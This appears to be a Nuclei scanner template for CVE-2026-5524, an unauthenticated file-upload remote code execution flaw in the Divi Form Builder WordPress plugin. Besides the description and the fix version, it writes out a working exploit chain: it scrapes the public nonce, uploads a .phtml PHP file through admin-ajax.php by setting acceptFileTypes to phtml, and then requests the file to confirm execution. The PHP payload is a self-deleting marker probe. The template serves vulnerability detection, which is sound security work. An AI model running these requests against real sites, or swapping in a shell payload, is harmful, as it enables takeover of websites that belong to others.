CVE-2026-5524: Divi Form Builder <=5.1.8 - Unauthenticated Arbitrary File Upload RCE

id: CVE-2026-5524

info:
  name: Divi Form Builder <=5.1.8 - Unauthenticated Arbitrary File Upload RCE
  author: DhiyaneshDk
  severity: critical
  description: |
    The Divi Form Builder plugin for WordPress versions 5.1.8 and prior contains an unauthenticated arbitrary file upload vulnerability in the do_image_upload() AJAX handler. The user-controlled acceptFileTypes POST parameter is injected unsanitized into a PHP regex for file extension validation. By supplying acceptFileTypes=phtml the constructed regex accepts .phtml files while the plugin's .htaccess only blocks .php, so Apache executes .phtml files as PHP. The required nonce (fb_nonce) is publicly embedded in any page containing a Divi form via the de_fb_obj JavaScript object. Uploaded shells land in /wp-content/uploads/de_fb_uploads/. Fixed in 5.1.9.
  impact: |
    Unauthenticated remote attackers can upload and execute arbitrary PHP code as the web server user, achieving full remote code execution on any WordPress site running the vulnerable plugin version with a publicly accessible form page.
  remediation: |
    Update the Divi Form Builder plugin to version 5.1.9 or later, which validates file extensions without relying on the user-controlled acceptFileTypes parameter.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-5524
    - https://github.com/caterscam/CVE-2026-5524-PoC
    - https://wpscan.com/vulnerability/CVE-2026-5524
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-5524
    epss-score: 0.03484
    epss-percentile: 0.88517
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 8
    vendor: elegantthemes
    product: divi-form-builder
    framework: wordpress
    publicwww-query: "/wp-content/plugins/divi-form-builder/"
  tags: cve,cve2026,wordpress,wp-plugin,divi,elegantthemes,file-upload,rce,unauth,intrusive,vkev

variables:
  fname: "{{rand_text_alpha(8)}}"
  marker: "{{randstr}}"

flow: |
  http(1)
  if (template["fb_nonce"] == "") {
    stop()
  }
  http(2) && http(3)

http:
  - raw:
      - |
        GET {{paths}} HTTP/1.1
        Host: {{Hostname}}
        Cache-Control: no-cache

    payloads:
      paths:
        - "/"
        - "/contact"
        - "/contact-us"
        - "/get-in-touch"
        - "/quote"
        - "/demo"

    attack: clusterbomb

    stop-at-first-match: true

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "de_fb_obj") && contains(body, "fb_nonce")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: fb_nonce
        part: body
        internal: true
        group: 1
        regex:
          - '"fb_nonce"\s*:\s*"([a-f0-9]{10})"'

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDFB5524PoC
        Origin: {{RootURL}}
        Referer: {{RootURL}}/

        ------WebKitFormBoundaryDFB5524PoC
        Content-Disposition: form-data; name="action"

        de_fb_image_upload
        ------WebKitFormBoundaryDFB5524PoC
        Content-Disposition: form-data; name="fb_nonce"

        {{fb_nonce}}
        ------WebKitFormBoundaryDFB5524PoC
        Content-Disposition: form-data; name="acceptFileTypes"

        phtml
        ------WebKitFormBoundaryDFB5524PoC
        Content-Disposition: form-data; name="file"; filename="{{fname}}.phtml"
        Content-Type: image/jpeg

        <?php echo md5('{{marker}}');unlink(__FILE__);?>
        ------WebKitFormBoundaryDFB5524PoC--

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "files") && contains(body, "{{fname}}")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-content/uploads/de_fb_uploads/{{fname}}.phtml HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "{{md5(marker)}}")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022024dcda830569f9c93d7099aa818dd6e9d3058c549054100bd36f31d1297d9344022100f34ee228742099f66471f6485d765ac683f17c9a37ed8fedce8d866346ac310e:922c64590222798bb761d5b6d8e72950

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